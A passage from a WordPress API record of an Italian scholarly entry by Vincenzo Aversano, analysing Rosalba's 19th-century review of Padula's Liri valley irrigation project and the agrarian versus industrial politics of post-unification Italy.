il lusso di sollevare le preoccupazioni degli interessati sui diritti che in futuro potrebbero accampare i proprietari della sponda destra del Liri, ricorrendo a precise argomentazioni (\u00abMa non essendovi contrade prossime alle sponde, n\u00e9 sulla dritta n\u00e9 sulla sinistra; ed il fiume correndo incassato tra le sponde medesime, che sono alpestri e sassose, il pensiero di altre inferiori derivazioni svanisce; ed i dritti de\u2019 proprietarii della dritta sponda, riduconsi a zero \u2013 rimarranno dritti potenziali ma non esercibili non mai controvertibili: ecco tutto\u00bb), senza considerare tuttavia che in futuro sarebbero stati inventati elevatori d'acqua assai pi\u00f9 potenti di quelli a ruota idraulica operanti all'epoca, ed il problema avrebbe potuto riproporsi... \tRimanendo sempre nella stessa fattispecie, l'ingegnere salernitano discute anche il problema che chiamerei del \u201clupo e dell'agnello\u201d, ossia del rapporto \u2013 quanto al prelievo del prezioso liquido \u2013 fra le comunit\u00e0 che stanno a monte e quelle che stanno a valle. Fa quindi l'esempio delle popolazioni della conca del Fucino, allora ancora in parte lago non bonificato, che a prosciugamento avvenuto avrebbero potuto far ricorso alle sorgenti per irrigare le loro terre e togliere alimento al volume d'acqua che al momento veniva gi\u00f9 (il par. V suona: \u00abChe assegnamento pu\u00f2 farsi sulle acque delle sorgenti, che ora formano il Fucino, considerato l\u2019uso che potranno farne per l\u2019irrigazione le terre di quell\u2019ampio bacino, quando disseccate saranno messe a coltura\u00bb; altro esempio: le terre di Sora, Isola e Castelluccio, che in futuro potevano aprire nelle parti superiori altri canali di irrigazione (p. 30). Il Rosalba \u00e8 ben lieto di affermare che i rischi di decurtazione d\u2019acque a valle non sussistono, sostenendo la tesi che soltanto lo Stato, attraverso gli organi provinciali, potrebbe concedere o revocare l'uso delle acque a monte, giacch\u00e9 finalmente, dopo l\u2019eversione della feudalit\u00e0 e l\u2019emanazione del Codice Napoleonico, si \u00e8 ritornati al diritto romano antico e si \u00e8 posto fine all'artificio dei giureconsulti \"privatisti\" che negavano alle acque non navigabili \u00abil carattere di acque demaniali pubbliche\u00bb e le tenevano \u00abin conto di propriet\u00e0 private\u00bb (p. 31). Nel Paragrafo VIII risponde al quesito su \u00abChe quantit\u00e0 di acqua si richiede per l\u2019irrigazione di un ettera di terra, tenute presenti le condizioni di composizione, giacitura e irregolarit\u00e0 di superficie delle terre da irrigare\u00bb. Dopo aver citato le \u201cautorit\u00e0\u201d in merito (Tadini, tomo E della nuova raccolta degli Idraulici Italiani, p. 236; Pareto) ed alcune esperienze fatte personalmente, egli conclude sulla impossibilit\u00e0 di un \u00abcalcolo verace\u00bb, data la variabilit\u00e0 delle situazioni territoriali (\u00ab... imperocch\u00e9 in mezzo a tante variet\u00e0, per ragione della fisica natura del suolo; per il metodo delle irrigazioni; per la diversit\u00e0 de\u2019 prodotti che si coltivano; e per la diversit\u00e0 del clima, sarebbe impossibile una determinazione positiva delle quantit\u00e0 varie dell\u2019acqua, che alle molteplici combinazioni si potessero assegnare\u00bb (pp. 38-39). L'articolato discorso si conclude con l\u2019esibizione del \u00abQuadro sinottico\u00bb del Berti-Pichat, intitolato \u00abDella quantit\u00e0 d\u2019acqua mezzanamente necessaria alla irrigazione di un ettara\u00bb, al quale il Rosalba apporta delle opportune correzioni valutative. Quel che pi\u00f9 interessa qui non \u00e8 la valutazione tecnica in s\u00e9, ma la scelta dell'Autore che fa testo, Carlo Berti-Pichat, che era s\u00ec un teorico e pratico innovatore agronomico (scrisse fra l'altro le monumentali Istituzioni scientifiche e tecniche ossia corso teorico e pratico di agricoltura, in 28 voll, 1851-1870), ma viene preferito anche perch\u00e9 rappresenta una figura prestigiosa di patriota, figlio di un ufficiale napoleonico, un sicuro democratico, fondatore del giornale \u00abL\u2019Italiano\u00bb (1847), Ministro dell\u2019Interno della Repubblica Romana, deputato al Parlamento Italiano per tre legislature nel Gruppo della Sinistra, sindaco di Bologna (1872) e feroce oppositore della politica economica della Destra. Una riprova, dunque, di quanto il fatto tecnico sia legato al politico e all\u2019ideologico, che trova ulteriore e puntuale conferma laddove il Rosalba calcola l\u2019utile che deriver\u00e0 alle terre dal passaggio dal regime seccagno alle irrigazioni (pp. 52sgg). Non a caso egli cita largamente, Melchiorre Gioia della Filosofia della Statistica, nei passaggi in cui fa riferimento a casi antichi e recenti, europei ed extraeuropei, di regioni irrigate (Bagdad, Aragona, Nuova Spagna, Piemonte, Sicilia: Duca di Monteleone e Duca Gualtieri). In buona sostanza il verificatore Rosalba condivide, salvo marginali rilievi, tutte le scelte fatte nel progetto del Padula. Tuttavia, gli muove una sola, grande e fondamentale obiezione, assai interessante per il nostro discorso. Mentre il pur valido collega prevedeva \u00abrendita nuova\u00bb dalla costruzione di ben 40 opifici industriali (si ch\u00e9, asseriva, \u00abquesta parte della Provincia di Terra di Lavoro rivalegger\u00e0 co\u2019 primi distretti manifatturieri della Francia e dell'Inghilterra...\u00bb, il Rosalba sostiene invece che il futuro \u00e8 nei miglioramenti dell\u2019agricoltura e della pastorizia (ad esempio, chiede che l\u2019industria della seta venga tolta ai \u00abmiseri coloni\u00bb e accentrata nelle mani dei \u00abgrandi proprietari\u00bb, per realizzare quella che oggi chiamiamo un'economia di scala), nonch\u00e9, nel commercio, considerato l'alto sviluppo lineare delle coste nazionali. Leggiamolo: \u00abIo non partecipo affatto, alle illusioni di cosi prosperevole avvenire, che star poteva alcun poco ne\u2019decorsi tempi, del cos\u00ec detto protezionismo: quel sistema artificiale di grandi industrie manifattrici col quale i stati diversi di Europa si facevano asprissima guerra economica \u00e8 passato, e non torner\u00e0 pi\u00f9 presso noi; e non \u00e8 neppur desiderabile che torni. Imperocch\u00e9, in un suolo ubertoso come il nostro, e sotto l'influenza di un bel sole, di un sole d'Italia, come disse la Sthael, noi dobbiamo esser popolo agricoltore e popolo pastore \u2013 e per quanto riguardi commercio, atteso il giro delle nostre estesissime coste, in mezzo al pi\u00f9 bello de\u2019mari interni, dobbiamo essere popolo commerciante, come altra volta lo fummo; ed emulare la gloria dell\u2019antica Genova, dell\u2019antica, ora sventurata Venezia; e dell\u2019antica Costiera Amalfitana; ch\u00e8 il commercio nulla toglie allo slancio dell'agricoltura e della pastorizia, anzi l'accresce, col favorire l\u2019esportazione delle materie prime, inservienti alle manifatture straniere\u00bb (p. 56). Nonostante tutto, e a parte le sue citazioni (Quesnay, Souilly), egli non vuoi essere scambiato per un fisiocratico \u201cfondamentalista\u201d, che suonerebbe peraltro un tradimento all\u2019illustre conterraneo Antonio Genovesi. Qui dimostra un certo opportunismo e comunque fa dubitare della sua totale buona fede, bench\u00e9 a scusante ci fosse l\u2019aria che tirava all\u2019epoca. Pur in presenza di un governo di destra, infatti, nei primi anni postunitari gli uomini politici italiani sia di destra che di sinistra concordavano in una politica che valorizzasse l\u2019agricoltura per creare capitali da investire in infrastrutture, il che realmente avvenne (specie in campo viario-ferroviario), a scapito dell\u2019industria nazionale, che accus\u00f2 un gap tecnologico in settori-chiave (siderurgico e meccanico), e a danno esiziale dell\u2019industria meridionale, costretta spesso alla scomparsa, con l\u2019eccezione del ramo serico, nemmanco troppo modernizzato. \u00c8 interessante analizzare i motivi addotti dal Rosalba per la sua scelta pianificatoria: mancano i capitali per l\u2019industria; non c'\u00e8 pi\u00f9 protezione doganale (l\u2019Italia aveva adottato il liberismo piemontese); nell'attivit\u00e0 di fabbrica ci si aliena (\u00abun lavoro che fa dell'uomo un automata\u00bb) e nasce la lotta di classe (che comunque \u00e8 giusta, giacch\u00e9 i \u00abcapi\u00bb delle Societ\u00e0 manifatturiere sono \u00abingiusti e crudeli per avarizia verso gli operai\u00bb (p. 60), mentre con l'affermazione di un'agricoltura modernizzata \u00abnon tarderebbe a...raddoppiare una industre, comoda, mansueta e morale popolazione contadinesca\u00bb (p. 59), come accadeva in Lombardia, Piemonte e Toscana. Queste le conclusioni: \u00abContentiamoci, come abbiamo detto poco avanti, di qualche piccolo profitto per opifici, che potrebbero stabilirsi per eccezione, e di qualche macchina di agricoltura e nulla pi\u00f9: questo solo \u00e8 serio! Curiamo tutto l\u2019utile che dovr\u00e0 necessariamente provenire dall\u2019aumento di rendita nei fondi per la irrigazione, come l\u2019abbiamo calcolato...\u00bb (p. 60). Nelle sue argomentazioni, il Rosalba non manca di lanciare degli strali ai Borboni (forse anche un po\u2019 eccessivi e ingenerosi) e alle precedenti dominazioni del Sud: la Campania Felice deve esser resa \u00abpi\u00f9 degna di quel suo nome, dal quale ha dovuto scapitare per l\u2019indolenza di governi che nulla han voluto fare per la protezione delle scienze agronomiche\u00bb (p. 60). Ora, da sole queste popolazioni \u00abnon arriverebbero mai a crearsi per propria iniziativa quel sistema d\u2019irrigazione che tanto bramano....soggiaciute da tanti secoli al reggimento di governi dispotici...\u00bb. Come si vede, viene fuori una figura di \u201cuomo di sinistra\u201d, troppo ligio agli interessi dei grandi proprietari e certamente succube della temperie politico-economica. Quelle popolazioni \u2013 egli prosegue \u2013 \u00abhan perduto la coscienza della forza collettiva [riappare il linguaggio di sinistra...], e la fiducia che dovrebbero avervi. Tutto per esse bisogna che accada per fatto di Amministrazione: specialmente; per un gran sistema d\u2019irrigazione, su del quale, l\u2019Amministrazione deve necessariamente mettersi a capo, per tutelare la salute pubblica, e l\u2019ordine pubblico: e poi ancora per proteggere e sussidiare un\u2019opera di tanta importanza con opportune anticipazioni, onde far fronte alle inevitabili spese, alle quali si va incontro sulle prime. Ben inteso, che quelle anticipazioni dovrebbero essere dai proprietarii dei fondi rimborsate...\u00bb (pp. 68-69). Tornano quanto mai illuminanti, a questo punto, per spiegare l'apparente contraddizione d\u00ec questo tecnico-umanista, le seguenti riflessioni di Giovanni Spadolini (1985) sulla situazione dell\u2019Italia all'indomani dell\u2019Unit\u00e0: \u00ab...la Destra subordin\u00f2 in ogni momento i problemi amministrativi agli imperativi morali...e guard\u00f2 alle riforme come a uno strumento di trasformazione etico-educativa molto prima che di stabilizzazione politico-economica. La...Sinistra, premuta dalle rivendicazioni dei nuovi ceti che affioravano alla superficie, incalzato dall\u2019attacco del protezionismo industriale congiunto all\u2019estensione dell'intervento dello Stato e della burocrazia, si trov\u00f2 costretta a imboccare una strada diversa e talora opposta, a dare la priorit\u00e0 al rafforzamento delle strutture giuridiche, rispetto a quello delle convinzioni ideali, a optare per la creazione di un equilibrio sociale piuttosto che per la ricerca di una pi\u00f9 elevata coscienza morale\u00bb . \tO quanto si legge in un accreditato manuale di storia: \u00abLe differenze tra i due schieramenti politici erano di natura ideologica pi\u00f9 che sociale: la Sinistra raccoglieva tutti coloro che volevano una pi\u00f9 larga partecipazione alla gestione del potere (da realizzare soprattutto attraverso l'ampliamento del corpo elettorale) oppure che, come i repubblicani, si erano opposti allo sbocco istituzionale che era stato dato al processo di unificazione. La Sinistra aveva dato espressione politica al vasto malcontento provocato dalla politica di rigore della Destra, riunendo gruppi sociali eterogenei: in essa si erano infatti raccolti sia i rappresentanti della pi\u00f9 avanzata borghesia settentrionale che quelli della borghesia terriera meridionale, contrari alla politica di costruzione di infrastrutture necessarie a sostenere lo sviluppo industriale del Nord, che era finanziata con maggiori imposizioni sulla propriet\u00e0 terriera\u00bb (VILLANI, PETRACCONE, GAETA, 1996, p. 46). Allo stato attuale della mia indagine non so in particolare quanto di quello che possiamo chiamare il progetto Padula-Rosalba sia rifluito nei successivi e tardivi interventi bonificatori dell'area in parola. Riassuntivamente sar\u00e0 forse utile richiamare quanto di recente scriveva Stefano Lepre: \u00abIl territorio della Valle del Liri venne classificato comprensorio di bonifica di prima categoria dopo il 1882, col r. d. 11 ottobre 1885, e nel corso del primo decennio del Novecento vennero eseguiti anche alcuni lavori (tra i quali il prosciugamento di uno stagno a Cassino e la sistemazione idraulica e l'imbrigliamento di diversi torrenti del bacino Consorzio di Bonifica della Valle del Liri si \u00e8 costituito abbastanza tardi, nel 1950, e ha operato dal 1952: esso ha compiuto rilevanti interventi di bonifica idraulica e montana, nel settore della viabilit\u00e0 e per l'elettrificazione rurale ( LEPRE, 1998, p. 553).<\/p>\n<p>Autore della scheda: Vincenzo Aversano<\/p>\n","protected":false},"excerpt":{"rendered":"<p>N. M. Relazioni di parentela: Ente\/istituzione di appartenenza: Qualifica: Biografia: Produzione scientifica: Produzione di cartografia manoscritta: Produzione di cartografia a stampa: Fonti d’archivio: Bibliografia: Rimandi ad altre schede: Autore della scheda:<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[9,144,146],"acf":[],"_links":{"self":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/1081"}],"collection":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/comments?post=1081"}],"version-history":[{"count":3,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/1081\/revisions"}],"predecessor-version":[{"id":2657,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/1081\/revisions\/2657"}],"wp:attachment":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/media?parent=1081"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/categories?post=1081"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/tags?post=1081"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}